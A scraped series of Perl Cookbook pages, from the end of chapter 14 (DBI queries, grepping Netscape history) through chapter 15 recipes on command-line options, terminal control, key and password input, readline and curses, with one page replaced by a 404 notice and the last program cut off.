Example 14.7: dbusers

#!/usr/bin/perl -w
# dbusers - manage MySQL user table
use DBI;
use User::pwent;

$dbh = DBI->connect('DBI:mysql:dbname:mysqlserver.domain.com:3306',
                    'user', 'password',
                    { RaiseError => 1, AutoCommit => 1 })

$dbh->do("CREATE TABLE users (uid INT, login CHAR(8))");

$sql_fmt = "INSERT INTO users VALUES( %d, %s )";
while ($user = getpwent) {
    $sql = sprintf($sql_fmt, $user->uid, $dbh->quote($user->name));
    $dbh->do($sql);
}

$sth = $dbh->prepare("SELECT * FROM users WHERE uid < 50");
$sth->execute;

while ((@row) = $sth->fetchrow_array) {
    print join(", ", map {defined $_ ? $_ : "(null)"} @row), "\n";
}
$sth->finish;

$dbh->do("DROP TABLE users");

$dbh->disconnect;

See Also

The documentation for the DBI and relevant DBD modules from CPAN; http://www.hermetica.com/technologia/perl/DBI/ and http://www.perl.com/CPAN/modules/ by-category/07_Database_Interfaces/

Previous: 14.9. Persistent Data | Perl Cookbook | Next: 14.11. Program: ggh - Grep Netscape Global History
14.9. Persistent Data | Book Index | 14.11. Program: ggh - Grep Netscape Global History


Recipe 14.11. Program: ggh - Grep Netscape Global History

Perl CookbookSearch this book

14.11. Program: ggh - Grep Netscape Global History

This program divulges the contents of Netscape's history.db file. It can be called with full URLs or with a (single) pattern. If called without arguments, it displays every entry in the history file. The ~/.netscape/history.db file is used unless the -database option is given.

Each output line shows the URL and its access time. The time is converted into localtime representation with -localtime (the default), gmtime representation with -gmtime - or left in raw form with -epochtime, which is useful for sorting by date.

To specify a pattern to match against, give one single argument without a ://.

To look up one or more URLs, supply them as arguments:

% ggh http://www.perl.com/index.html

To find out a link you don't quite recall, use a regular expression (a single argument without a :// is a pattern):

% ggh perl

To find out all the people you've mailed:

% ggh mailto:

To find out the FAQ sites you've visited, use a snazzy Perl pattern with an embedded /i modifier:

% ggh -regexp '(?i)\bfaq\b'

If you don't want the internal date converted to localtime, use -epoch:

% ggh -epoch http://www.perl.com/perl/

If you prefer gmtime to localtime, use -gmtime:

% ggh -gmtime http://www.perl.com/perl/

To look at the whole file, give no arguments (but perhaps redirect to a pager):

% ggh | less

If you want the output sorted by date, use the -epoch flag:

% ggh -epoch | sort -rn | less

If you want it sorted by date into your local time zone format, use a more sophisticated pipeline:

% ggh -epoch | sort -rn | perl -pe 's/\d+/localtime $&/e' | less

The Netscape release notes claim that they're using NDBM format. This is misleading: they're actually using Berkeley DB format, which is why we require DB_File (not supplied standard with all systems Perl runs on) instead of NDBM_File (which is). The program is shown in Example 14.8.

Example 14.8: ggh

#!/usr/bin/perl -w
# ggh -- grovel global history in netscape logs
$USAGE = <<EO_COMPLAINT;
usage: $0 [-database dbfilename] [-help]
           [-epochtime | -localtime | -gmtime]
           [ [-regexp] pattern] | href ... ]
EO_COMPLAINT

use Getopt::Long;

($opt_database, $opt_epochtime, $opt_localtime,
 $opt_gmtime,   $opt_regexp,    $opt_help,
 $pattern,                                  )      = (0) x 7;

usage() unless GetOptions qw{ database=s
                              regexp=s
                              epochtime localtime gmtime
                              help
                            };

if ($opt_help) { print $USAGE; exit; }

usage("only one of localtime, gmtime, and epochtime allowed")
    if $opt_localtime + $opt_gmtime + $opt_epochtime > 1;

if ( $opt_regexp ) {
    $pattern = $opt_regexp;
} elsif (@ARGV && $ARGV[0] !~ m(://)) {
    $pattern = shift;
}

usage("can't mix URLs and explicit patterns")
    if $pattern && @ARGV;

if ($pattern && !eval { '' =~ /$pattern/; 1 } ) {
    $@ =~ s/ at \w+ line \d+\.//;
    die "$0: bad pattern $@";
}

require DB_File; DB_File->import();  # delay loading until runtime
$| = 1;                              # feed the hungry PAGERs

$dotdir  = $ENV{HOME}    || $ENV{LOGNAME};
$HISTORY = $opt_database || "$dotdir/.netscape/history.db";

die "no netscape history dbase in $HISTORY: $!" unless -e $HISTORY;
die "can't dbmopen $HISTORY: $!" unless dbmopen %hist_db, $HISTORY, 0666;

# the next line is a hack because the C programmers who did this
# didn't understand strlen vs strlen+1.  jwz told me so. :-)
$add_nulls   = (ord(substr(each %hist_db, -1)) == 0);

# XXX: should now do scalar keys to reset but don't
#      want cost of full traverse, required on tied hashes.
#   better to close and reopen?

$nulled_href = "";
$byte_order  = "V";         # PC people don't grok "N" (network order)

if (@ARGV) {
    foreach $href (@ARGV) {
        $nulled_href = $href . ($add_nulls && "\0");
        unless ($binary_time = $hist_db{$nulled_href}) {
            warn "$0: No history entry for HREF $href\n";
            next;
        }
        $epoch_secs = unpack($byte_order, $binary_time);
        $stardate   = $opt_epochtime ? $epoch_secs
                                     : $opt_gmtime ? gmtime    $epoch_secs
                                                   : localtime $epoch_secs;
        print "$stardate $href\n";
    }
} else {
    while ( ($href, $binary_time) = each %hist_db ) {
        chop $href if $add_nulls;
        next unless defined $href && defined $binary_time;
        # gnat reports some binary times are missing
        $binary_time = pack($byte_order, 0) unless $binary_time;
        $epoch_secs = unpack($byte_order, $binary_time);
        $stardate   = $opt_epochtime ? $epoch_secs
                                     : $opt_gmtime ? gmtime    $epoch_secs
                                                   : localtime $epoch_secs;
        print "$stardate $href\n" unless $pattern && $href !~ /$pattern/o;
    }
}

sub usage {
    print STDERR "@_\n" if @_;
    die $USAGE;
}

See Also

Recipe 6.17

Previous: 14.10. Executing an SQL Command Using DBI and DBD | Perl Cookbook | Next: 15. User Interfaces
14.10. Executing an SQL Command Using DBI and DBD | Book Index | 15. User Interfaces


[Chapter 15] User Interfaces

Perl CookbookSearch this book
Previous: 14.11. Program: ggh - Grep Netscape Global History Chapter 15 Next: 15.1. Parsing Program Arguments

15. User Interfaces

Contents:
Introduction
Parsing Program Arguments
Testing Whether a Program Is Running Interactively
Clearing the Screen
Determining Terminal or Window Size
Changing Text Color
Reading from the Keyboard
Ringing the Terminal Bell
Using POSIX termios
Checking for Waiting Input
Reading Passwords
Editing Input
Managing the Screen
Controlling Another Program with Expect
Creating Menus with Tk
Creating Dialog Boxes with Tk
Responding to Tk Resize Events
Removing the DOS Shell Window with Windows Perl/Tk
Program: Small termcap program
Program: tkshufflepod

And then the Windows failed - and then I could not see to see -

- Emily Dickinson "I heard a Fly buzz - when I died"

15.0. Introduction

Everything we use has a user interface: VCRs, computers, telephones, even books. Our programs have user interfaces: do we have to supply arguments on the command line? Can we drag and drop files into the program? Do we have to press Enter after every response we make, or can the program read a single keystroke at a time?

This chapter won't discuss designing user interfaces: entire bookshelves are filled with books written on the subject. Instead, we'll focus on implementing user interfaces - parsing command-line arguments, reading a character at a time, writing anywhere on the screen, and writing a graphical user interface.

The simplest user interface is what we'll call line mode interfaces. Line mode programs normally read lines at a time and write characters or entire lines. Filters like grep and utilities like mail exemplify this type of interface. We don't really talk much about this type of interface in this chapter, because so much of the rest of the book does.

A more complex interface is what we'll call full-screen mode. Programs like vi, elm, and lynx have full-screen interfaces. They read single characters at a time and can write to any character position on the screen. We address this type of interface in Recipes Recipe 15.4, Recipe 15.6, Recipe 15.9, Recipe 15.10, and Recipe 15.11.

The final class of interface is the GUI (graphical user interface). Programs with GUIs can address individual pixels, not just characters. GUIs often follow a windowing metaphor, in which a program creates windows that appear on the user's display device. The windows are filled with widgets, things like scrollbars to drag or buttons to click. Netscape Navigator provides a full graphical user interface, as does your window manager. Perl can use many GUI toolkits, but here we'll cover the Tk toolkit, since it's the most well-known and portable. See Recipes Recipe 15.14, Recipe 15.15, and Recipe 15.19.

A program's user interface is different from the environment you run it in. Your environment determines the type of program you can run. If you're logged in through a terminal capable of full-screen I/O, you can run line mode applications but not GUI programs. Let's look briefly at the environments.

Some environments only handle programs that have a bare line mode interface. This includes executing programs with backticks, over rsh, or from cron. Their simple interface allows them to be combined creatively and powerfully as reusable components in larger scripts. Line mode programs are wonderful for automation, because they don't rely on a keyboard or screen. They rely on only STDIN and STDOUT - if that. These are often the most portable programs because they use nothing but the basic I/O supported by virtually all systems.

The typical login session, where you use a terminal with a screen and keyboard, permits both line mode and full-screen interfaces. Here the program with the full-screen interface talks to the terminal driver and has intimate knowledge of how to make the terminal write to various positions on the screen. To automate such a program you need to create a pseudo-terminal for the program to talk to, as shown in Recipe 15.13.

Finally, some window systems let you run line mode and full-screen programs as well as programs that use a GUI. For instance, you can run grep (line-mode programs) from within vi (a full-screen program) from an xterm window (a GUI program running in a window system environment). GUI programs are difficult to automate unless they provide an alternative interface through remote procedure calls.

Toolkits exist for programming in full-screen and GUI environments. These toolkits (curses for full-screen programs; Tk for GUI programs) increase the portability of your programs by abstracting out system-specific details. A curses program can run on virtually any kind of terminal without the user worrying about which particular escape sequences they need to use. Tk programs will run unmodified on Unix and Windows systems - providing you don't use operating-system specific functions.

There are other ways to interact with a user, most notably through the Web. We cover the Web in Chapters Chapter 19, CGI Programming and Chapter 20, Web Automation, so we make no further mention of it here.

Previous: 14.11. Program: ggh - Grep Netscape Global History | Perl Cookbook | Next: 15.1. Parsing Program Arguments
14.11. Program: ggh - Grep Netscape Global History | Book Index | 15.1. Parsing Program Arguments


Recipe 15.1. Parsing Program Arguments

Perl CookbookSearch this book

15.1. Parsing Program Arguments

Problem

You want to let users change your program's behavior by giving options on the command line. For instance, you want to allow the user to control the level of output that your program produces with a -v (verbose) option.

Solution

Use the standard Getopt::Std module to permit single-character options:

use Getopt::Std;

# -v ARG, -D ARG, -o ARG, sets $opt_v, $opt_D, $opt_o
getopt("vDo");
# -v ARG, -D ARG, -o ARG, sets $args{v}, $args{D}, $args{o}
getopt("vDo", \%args);

getopts("vDo:");         # -v, -D, -o ARG, sets $opt_v, $opt_D, $opt_o
getopts("vDo:", \%args); # -v, -D, -o ARG, sets $args{v}, $args{D}, $args{o}

Or, use the standard Getopt::Long module to permit named arguments:

use Getopt::Long;

GetOptions( "verbose"  => \$verbose,     # --verbose
            "Debug"    => \$debug,       # --Debug
            "output=s" => \$output );    # --output=string or --output=string

Discussion

Most traditional programs like ls and rm take single-character options (also known as flags or switches), such as -l and -r. In the case of ls -l and rm -r, the argument is Boolean: either it is present or it isn't. Contrast this with gcc -o compiledfile source.c, where compiledfile is a value associated with the option -o. We can combine Boolean options into a single option in any order. For example:

% rm -r -f /tmp/testdir

Another way of saying this is:

% rm -rf /tmp/testdir

The Getopt::Std module, part of the standard Perl distribution, parses these types of traditional options. Its getopt function takes a single string of characters, each corresponding to an option that takes a value, parses the command-line arguments stored in @ARGV, and sets a global variable for each option. For example, the value for the -D option will be stored in $opt_D. All options parsed though getopt are value options, not Boolean options.

Getopt::Std also provides the getopts function, which lets you specify whether each option is Boolean or takes a value. Arguments that take a value, like the -o option to gcc, are indicated by a :, as in this code:

use Getopt::Std;
getopts("o:");
if ($opt_o) {
    print "Writing output to $opt_o";
}

Both getopt and getopts can take a second argument, a reference to a hash. If present, option values are stored in $hash{X} instead of $opt_X:

use Getopt::Std;

%option = ();
getopts("Do:", \%option);

if ($option{D}) {
    print "Debugging mode enabled.\n";
}

 # if not set, set output to "-".  opening "-" for writing
 # means STDOUT
 $option{o} = "-" unless defined $option{o};

print "Writing output to file $option{o}\n" unless $option{o} eq "-";
open(STDOUT, "> $option{o}")
     or die "Can't open $option{o} for output: $!\n";

You can specify some programs' options using full words instead of single characters. These options are (usually) indicated with two dashes instead of one:

% gnutar --extract --file latest.tar

The value for the - -file option could also be given with an equals sign:

% gnutar --extract --file=latest.tar

The Getopt::Long module's GetOptions function parses this style of options. It takes a hash whose keys are options and values are references to scalar variables:

use Getopt::Long;

GetOptions( "extract" => \$extract,
            "file=s"  => \$file );

if ($extract) {
    print "I'm extracting.\n";
}

die "I wish I had a file" unless defined $file;
print "Working on the file $file\n";

If a key in the hash is just an option name, it's a Boolean option. The corresponding variable will be set to false if the option wasn't given, or to 1 if it was. Getopt::Long provides fancier options than just the Boolean and value of Getopt::Std. Here's what the option specifier can look like:

Specifier | Value? | Comment
option | No | Given as - -option or not at all
option! | No | May be given as - -option or - -nooption
option=s | Yes | Mandatory string parameter: - -option=somestring
option:s | Yes | Optional string parameter: - -option or - -option=somestring
option=i | Yes | Mandatory integer parameter: - -option=35
option:i | Yes | Optional integer parameter: - -option or - -option=35
option=f | Yes | Mandatory floating point parameter: - -option=3.141
option:f | Yes | Optional floating point parameter: - -option or - -option=3.141

See Also

The documentation for the standard Getopt::Long and Getopt::Std modules; examples of argument parsing by hand can be found in Recipe 1.5, Recipe 1.17, Recipe 6.22, Recipe 7.7, Recipe 8.19, and Recipe 15.12

Previous: 15.0. Introduction | Perl Cookbook | Next: 15.2. Testing Whether a Program Is Running Interactively
15.0. Introduction | Book Index | 15.2. Testing Whether a Program Is Running Interactively


Recipe 15.2. Testing Whether a Program Is Running Interactively

Perl CookbookSearch this book

15.2. Testing Whether a Program Is Running Interactively

Problem

You want to know whether your program is being called interactively or not. For instance, a user running your program from a shell is interactive, whereas the program being called from cron is not.

Solution

Use -t to test STDIN and STDOUT:

sub I_am_interactive {
    return -t STDIN && -t STDOUT;
}

If you're on a POSIX system, test process groups:

use POSIX qw/getpgrp tcgetpgrp/;

sub I_am_interactive {
    local *TTY;  # local file handle
    open(TTY, "/dev/tty") or die "can't open /dev/tty: $!";
    my $tpgrp = tcgetpgrp(fileno(TTY));
    my $pgrp  = getpgrp();
    close TTY;
    return ($tpgrp == $pgrp);
}

Discussion

The -t operator tells whether the filehandle or file is a tty device. Such devices are signs of interactive use. This only tells you whether your program has been redirected. Running your program from the shell and redirecting STDIN and STDOUT makes the -t version of I_am_interactive return false. Called from cron, I_am_interactive also returns false.

The POSIX test tells you whether your program has exclusive control over its tty. A program whose input and output has been redirected still can control its tty if it wants to, so the POSIX version of I_am_interactive returns true. A program run from cron has no tty, so I_am_interactive returns false.

Whichever I_am_interactive you choose to use, here's how you'd call it:

while (1) {
    if (I_am_interactive()) {
        print "Prompt: ";
    }
    $line = <STDIN>;
    last unless defined $line;
    # do something with the line
}

Or, more clearly:

sub prompt { print "Prompt: " if I_am_interactive() }
for (prompt(); $line = <STDIN>; prompt()) {
    # do something with the line
}

See Also

The documentation for the standard POSIX module, also in Chapter 7 of Programming Perl; the -t file-test operator in Chapter 3 of Programming Perl and in perlop (1)

Previous: 15.1. Parsing Program Arguments | Perl Cookbook | Next: 15.3. Clearing the Screen
15.1. Parsing Program Arguments | Book Index | 15.3. Clearing the Screen


Recipe 15.3. Clearing the Screen

Perl CookbookSearch this book

15.3. Clearing the Screen

Problem

You want to clear the screen.

Solution

Use the Term::Cap module to send the appropriate character sequence. Use POSIX Termios to get the output speed of the terminal (or guess 9600 bps). Use eval to trap errors that may arise using POSIX Termios::

use Term::Cap;

$OSPEED = 9600;
eval {
    require POSIX;
    my $termios = POSIX::Termios->new();
    $termios->getattr;
    $OSPEED = $termios->getospeed;
};

$terminal = Term::Cap->Tgetent({OSPEED=>$OSPEED});
$terminal->Tputs('cl', 1, STDOUT);

Or, just run the clear command:

system("clear");

Discussion

If you clear the screen a lot, cache the return value from the termcap or clear command:

$clear = $terminal->Tputs('cl');
$clear = `clear`;

Then you can clear the screen a hundred times without running clear a hundred times:

print $clear;

See Also

Your system's clear (1) and termcap (5) manpages (if you have them); the documentation for the standard module Term::Cap module, also in Chapter 7 of Programming Perl; the documentation for the Term::Lib module from CPAN

Previous: 15.2. Testing Whether a Program Is Running Interactively | Perl Cookbook | Next: 15.4. Determining Terminal or Window Size
15.2. Testing Whether a Program Is Running Interactively | Book Index | 15.4. Determining Terminal or Window Size


Recipe 15.4. Determining Terminal or Window Size

Perl CookbookSearch this book

15.4. Determining Terminal or Window Size

Problem

You need to know the size of the terminal or window. For instance, you want to format text so that it doesn't pass the right-hand boundary of the screen.

Solution

Either use the ioctl described in Recipe 12.14, or else use the CPAN module Term::ReadKey:

use Term::ReadKey;

($wchar, $hchar, $wpixels, $hpixels) = GetTerminalSize();

Discussion

GetTerminalSize returns four elements: the width and height in characters and the width and height in pixels. If the operation is unsupported for the output device (for instance, if output has been redirected to a file), it returns an empty list.

Here's how you'd graph the contents of @values, assuming no value is less than 0:

use Term::ReadKey;

($width) = GetTerminalSize();
die "You must have at least 10 characters" unless $width >= 10;

$max = 0;
foreach (@values) {
    $max = $_ if $max < $_;
}

$ratio = ($width-10)/$max;          # chars per unit
foreach (@values) {
    printf("%8.1f %s\n", $_, "*" x ($ratio*$_));
}

See Also

The documentation for the Term::ReadKey module from CPAN; Recipe 12.14

Previous: 15.3. Clearing the Screen | Perl Cookbook | Next: 15.5. Changing Text Color
15.3. Clearing the Screen | Book Index | 15.5. Changing Text Color


Recipe 15.5. Changing Text Color

Perl CookbookSearch this book

15.5. Changing Text Color

Problem

You want text to appear in different colors on the screen. For instance, you want to emphasize a mode line or highlight an error message.

Solution

Use the CPAN module Term::ANSIColor to send the ANSI color-change sequences to the user's terminal:

use Term::ANSIColor;

print color("red"), "Danger, Will Robinson!\n", color("reset");
print "This is just normal text.\n";
print colored("<BLINK>Do you hurt yet?</BLINK>", "blink");

Or, you can use convenience functions from Term::ANSIColor:

use Term::ANSIColor qw(:constants);

print RED, "Danger, Will Robinson!\n", RESET;

Discussion

Term::ANSIColor prepares escape sequences that some (but far from all) terminals will recognize. For example, if you normally launch a color-xterm, this recipe will work. If you normally use the normal xterm program, or have a vt100 in your kitchen, it won't.

There are two ways of using the module: either by calling the exported functions color($attribute) and colored($text, $attribute), or by using convenience functions like BOLD, BLUE, and RESET.

Attributes can be a combination of colors and controls. The colors are black, red, green, yellow, blue, magenta, on_block, on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, and on_white. (Apparently orange and purple don't matter.) The controls are clear, reset, bold, underline, underscore, blink, reverse, and concealed. Clear and reset are synonyms, as are underline and underscore. Reset restores the colors to the way they were when the program started, and concealed makes foreground and background colors the same.

You can combine attributes:

# rhyme for the deadly coral snake
print color("red on_black"),  "venom lack\n";
print color("red on_yellow"), "kill that fellow\n";

print color("green on_cyan blink"), "garish!\n";
print color("reset");

We could have written this as:

print colored("venom lack\n", "red", on_black");
print colored("kill that fellow\n", "red", "on_yellow");

print colored("garish!\n", "green", "on_cyan", "blink");

or as:

use Term::ANSIColor qw(:constants);

print BLACK, ON_WHITE, "black on white\n";
print WHITE, ON_BLACK, "white on black\n";
print GREEN, ON_CYAN, BLINK, "garish!\n";
print RESET;

Here, BLACK is a function exported from Term::ANSIColor.

It's important to print RESET or color("reset") at the end of your program if you're not calling colored for everything. Failure to reset your terminal will leave it displaying odd colors. You may want to use:

END { print color("reset") }

to ensure the colors will be reset when your program finishes.

Attributes that span lines of text can confuse some programs or devices. If this becomes a problem, either manually set the attributes at the start of each line, or use colored after setting the variable $Term::ANSIColor::EACHLINE to the line terminator:

$Term::ANSIColor::EACHLINE = $/;
print colored(<<EOF, RED, ON_WHITE, BOLD, BLINK);
This way
each line
has its own
attribute set.
EOF

See Also

The documentation for the Term::AnsiColor module from CPAN

Previous: 15.4. Determining Terminal or Window Size | Perl Cookbook | Next: 15.6. Reading from the Keyboard
15.4. Determining Terminal or Window Size | Book Index | 15.6. Reading from the Keyboard


Recipe 15.6. Reading from the Keyboard

Perl CookbookSearch this book

15.6. Reading from the Keyboard

Problem

You want to read a single character from the keyboard. For instance, you've displayed a menu of one-character options, and you don't want to require the user to press Enter to make their selection.

Solution

Use the CPAN module Term::ReadKey to put the terminal into cbreak mode, read characters from STDIN, and then put the terminal back into its normal mode:

use Term::ReadKey;

ReadMode 'cbreak';
$key = ReadKey(0);
ReadMode 'normal';

Discussion

Term::ReadKey can put the terminal into many modes - cbreak is just one of them. cbreak mode makes each character available to your program as it is typed (see Example 15.1). It also echoes the characters to the screen; see Recipe 15.10 for an example of a mode that does not echo.

Example 15.1: sascii

#!/usr/bin/perl -w
# sascii - Show ASCII values for keypresses

use Term::ReadKey;
ReadMode('cbreak');
print "Press keys to see their ASCII values.  Use Ctrl-C to quit.\n";

while (1) {
    $char = ReadKey(0);
    last unless defined $char;
    printf(" Decimal: %d\tHex: %x\n", ord($char), ord($char));
}

ReadMode('normal');

Using cbreak mode doesn't prevent the terminal's device driver from interpreting end-of-file and flow-control characters. If you want to be able to read a real Ctrl-C (which normally sends a SIGINT to your process) or a Ctrl-D (which indicates end-of-file under Unix), you want to use raw mode.

An argument of 0 to ReadKey indicates that we want a normal read using getc. If no input is available, the program will pause until there is some. We can also pass -1 to indicate a non-blocking read, or a number greater than 0 to indicate the number of seconds to wait for input to become available; fractional seconds are allowed. Non-blocking reads and timed-out reads return either undef when no input is available or a zero-length string on end of file.

Recent versions of Term::ReadKey also include limited support for non-Unix systems.

See Also

The getc and sysread functions in Chapter 3 of Programming Perl, and in perlfunc (1); the documentation for the Term::ReadKey module from CPAN; Recipe 15.8; Recipe 15.9

Previous: 15.5. Changing Text Color | Perl Cookbook | Next: 15.7. Ringing the Terminal Bell
15.5. Changing Text Color | Book Index | 15.7. Ringing the Terminal Bell


Recipe 15.7. Ringing the Terminal Bell

Perl CookbookSearch this book

15.7. Ringing the Terminal Bell

Problem

You want to sound an alarm on the user's terminal.

Solution

Print the "\a" character to sound a bell:

print "\aWake up!\n";

Or, use the "vb" terminal capability to show a visual bell:

use Term::Cap;

$OSPEED = 9600;
eval {
    require POSIX;
    my $termios = POSIX::Termios->new();
    $termios->getattr;
    $OSPEED = $termios->getospeed;
};

$terminal = Term::Cap->Tgetent({OSPEED=>$OSPEED});
$vb = "";
eval {
    $terminal->Trequire("vb");
    $vb = $terminal->Tputs('vb', 1);
};

print $vb;                                  # ring visual bell

Discussion

The "\a" escape is the same as "\cG", "\007", and "\x07". They all correspond to the ASCII BEL character and cause an irritating ding. In a crowded terminal room at the end of the semester, this beeping caused by dozens of vi novices all trying to get out of insert mode at once can be maddening. The visual bell is a workaround to avoid irritation. Based upon the polite principle that terminals should be seen and not heard (at least, not in crowded rooms), some terminals let you briefly reverse the foreground and background colors to give a flash of light instead of an audible ring.

Not every terminal supports the visual bell, which is why we eval the code that finds it. If the terminal doesn't support it, Trequire will die without having changed the value of $vb from "". If the terminal does support it, the value of $vb will be set to the character sequence to flash the bell.

There's a better approach to the bell issue in graphical terminal systems like xterm. Many of these let you enable the visual bell from the enclosing application itself, allowing all programs that blindly output a chr(7) to become less noisy.

See Also

The section on "String Literals" in Chapter 2 of Programming Perl or the section on "Quote and Quote-like Operators" in perlop (1); the documentation for the standard Term::Cap module

Previous: 15.6. Reading from the Keyboard | Perl Cookbook | Next: 15.8. Using POSIX termios
15.6. Reading from the Keyboard | Book Index | 15.8. Using POSIX termios


Recipe 15.8. Using POSIX termios

Perl CookbookSearch this book

15.8. Using POSIX termios

Problem

You'd like to manipulate your terminal characteristics directly.

Solution

Use the POSIX termios interface.

Description

Think of everything you can do with the stty command - you can set everything from special characters to flow control and carriage-return mapping. The standard POSIX module provides direct access to the low-level terminal interface to implement stty-like capabilities in your program.

Example 15.2 finds what your tty's erase and kill characters are (probably backspace and Ctrl-U). Then it sets them back to their original values out of antiquity, # and @, and has you type something. It restores them when done.

Example 15.2: demo POSIX termios

#!/usr/bin/perl -w
# demo POSIX termios

use POSIX qw(:termios_h);

$term = POSIX::Termios->new;
$term->getattr(fileno(STDIN));

$erase = $term->getcc(VERASE);
$kill = $term->getcc(VKILL);
printf "Erase is character %d, %s\n", $erase, uncontrol(chr($erase));
printf "Kill is character %d, %s\n", $kill, uncontrol(chr($kill));

$term->setcc(VERASE, ord('#'));
$term->setcc(VKILL, ord('@'));
$term->setattr(1, TCSANOW);

print("erase is #, kill is @; type something: ");
$line = <STDIN>;
print "You typed: $line";

$term->setcc(VERASE, $erase);
$term->setcc(VKILL, $kill);
$term->setattr(1, TCSANOW);

sub uncontrol {
    local $_ = shift;
    s/([\200-\377])/sprintf("M-%c",ord($1) & 0177)/eg;
    s/([\0-\37\177])/sprintf("^%c",ord($1) ^ 0100)/eg;
    return $_;
}

Here's a module called HotKey that implements a readkey function in pure Perl. It doesn't provide any benefit over Term::ReadKey, but it shows POSIX termios in action:

# HotKey.pm
package HotKey;

@ISA = qw(Exporter);
@EXPORT = qw(cbreak cooked readkey);

use strict;
use POSIX qw(:termios_h);
my ($term, $oterm, $echo, $noecho, $fd_stdin);

$fd_stdin = fileno(STDIN);
$term     = POSIX::Termios->new();
$term->getattr($fd_stdin);
$oterm     = $term->getlflag();

$echo     = ECHO | ECHOK | ICANON;
$noecho   = $oterm & ~$echo;

sub cbreak {
    $term->setlflag($noecho);  # ok, so i don't want echo either
    $term->setcc(VTIME, 1);
    $term->setattr($fd_stdin, TCSANOW);
}

sub cooked {
    $term->setlflag($oterm);
    $term->setcc(VTIME, 0);
    $term->setattr($fd_stdin, TCSANOW);
}

sub readkey {
    my $key = '';
    cbreak();
    sysread(STDIN, $key, 1);
    cooked();
    return $key;
}

END { cooked() }

1;

See Also

POSIX Programmer's Guide, by Donald Lewine; O'Reilly & Associates (1991); the documentation for the standard POSIX module, also in Chapter 7 of Programming Perl; Recipe 15.6; Recipe 15.9

Previous: 15.7. Ringing the Terminal Bell | Perl Cookbook | Next: 15.9. Checking for Waiting Input
15.7. Ringing the Terminal Bell | Book Index | 15.9. Checking for Waiting Input


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/cookbook/ch15_10.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Recipe 15.10. Reading Passwords

Perl CookbookSearch this book

15.10. Reading Passwords

Problem

You want to read input from the keyboard without the keystrokes being echoed on the screen. For instance, you want to read passwords as passwd does, i.e. without displaying the user's password.

Solution

Use the CPAN module Term::ReadKey, set the input mode to noecho, and then use ReadLine:

use Term::ReadKey;

ReadMode('noecho');
$password = ReadLine(0);

Discussion

Example 15.3 shows how to verify a user's password. If your system uses shadow passwords, only the superuser can get the encrypted form of the password with getpwuid. Everyone else just gets * as the password field of the database, which is useless for verifying passwords.

Example 15.3: checkuser

#!/usr/bin/perl -w
# checkuser - demonstrates reading and checking a user's password

use Term::ReadKey;

print "Enter your password: ";
ReadMode 'noecho';
$password = ReadLine 0;
chomp $password;
ReadMode 'normal';

print "\n";

($username, $encrypted) = ( getpwuid $< )[0,1];

if (crypt($password, $encrypted) ne $encrypted) {
    die "You are not $username\n";
} else {
    print "Welcome, $username\n";
}

See Also

The documentation for the Term::ReadKey module from CPAN; the crypt and getpwuid functions in Chapter 3 of Programming Perl and in perlfunc (1), which demonstrate using the stty (1) command; your system's crypt (3) and passwd (5) manpages (if you have them)

Previous: 15.9. Checking for Waiting Input | Perl Cookbook | Next: 15.11. Editing Input
15.9. Checking for Waiting Input | Book Index | 15.11. Editing Input


Recipe 15.11. Editing Input

Perl CookbookSearch this book

15.11. Editing Input

Problem

You want a user to be able to edit a line before sending it to you for reading.

Solution

Use the standard Term::ReadLine library along with the Term::ReadLine::Gnu module from CPAN:

use Term::ReadLine;

$term = Term::ReadLine->new("APP DESCRIPTION");
$OUT = $term->OUT || *STDOUT;

$term->addhistory($fake_line);
$line = $term->readline(PROMPT);

print $OUT "Any program output\n";

Discussion

The program in Example 15.4 acts as a crude shell. It reads a line and passes it to the shell to execute. The readline method reads a line from the terminal, with editing and history recall. It automatically adds the user's line to the history.

Example 15.4: vbsh

#!/usr/bin/perl -w
# vbsh -  very bad shell
use strict;

use Term::ReadLine;
use POSIX qw(:sys_wait_h);

my $term = Term::ReadLine->new("Simple Shell");
my $OUT = $term->OUT() || *STDOUT;
my $cmd;

while (defined ($cmd = $term->readline('$ ') )) {
    my @output = `$cmd`;
    my $exit_value  = $? >> 8;
    my $signal_num  = $? & 127;
    my $dumped_core = $? & 128;
    printf $OUT "Program terminated with status %d from signal %d%s\n",
           $exit_value, $signal_num,
           $dumped_core ? " (core dumped)" : "";
    print @output;
    $term->addhistory($cmd);
}

If you want to seed the history with your own functions, use the addhistory method:

$term->addhistory($seed_line);

You can't seed with more than one line at a time. To remove a line from the history, use the remove_history method, which takes an index into the history list. 0 is the first (least recent) entry, 1 the second, and so on up to the most recent history lines.

$term->remove_history($line_number);

To get a list of history lines, use the GetHistory method, which returns a list of the lines:

@history = $term->GetHistory;

See Also

The documentation for the standard Term::ReadLine module and the Term::ReadLine::Gnu from CPAN

Previous: 15.10. Reading Passwords | Perl Cookbook | Next: 15.12. Managing the Screen
15.10. Reading Passwords | Book Index | 15.12. Managing the Screen


Recipe 15.12. Managing the Screen

Perl CookbookSearch this book

15.12. Managing the Screen

Problem

You want to control the screen layout or highlighting, detect when special keys are pressed, or present full-screen menus, but you don't want to think about what kind of display device the user has.

Solution

Use the Curses module from CPAN, which makes use of your native curses (3) library.

Description

The curses library provides easy access to the full screen display in an efficient and device-independent fashion. (By display, we mean any cursor-addressable monitor.) With Curses, you write high-level code to put data on the logical display, building it up character by character or string by string. When you want output to show up, call the refresh function. The library generates output consisting only of the changes on the virtual display since the last call to refresh. This is particularly appreciated on a slow connection.

The example program in Example 15.5, called rep, demonstrates this. Call it with arguments of the program to run, like any of these:

% rep ps aux
% rep netstat
% rep -2.5 lpq

The rep script will repeatedly call the listed command, printing its output to the screen, updating only what has changed since the previous run. This is most effective when the changes between runs are small. It maintains the current date in reverse video at the bottom-right corner of your screen.

By default, rep waits 10 seconds before rerunning the command. You can change this delay period by calling it an optional number of seconds (which can be a decimal number) as shown above when calling lpq. You may also hit any key during the pause for it to run the command right then.

Example 15.5: rep

#!/usr/bin/perl -w
# rep - screen repeat command
use strict;
use Curses;

my $timeout = 10;
if (@ARGV && $ARGV[0] =~ /^-(\d+\.?\d*)$/) {
    $timeout = $1;
    shift;
}

die "usage: $0 [ -timeout ] cmd args\n" unless @ARGV;

initscr();          # start screen
noecho();
cbreak();
nodelay(1);         # so getch() is non-blocking

$SIG{INT} = sub { done("Ouch!") };
sub done { endwin(); print "@_\n"; exit; }

while (1) {
    while ((my $key = getch()) ne ERR) {    # maybe multiple keys
        done("See ya") if $key eq 'q'
    }
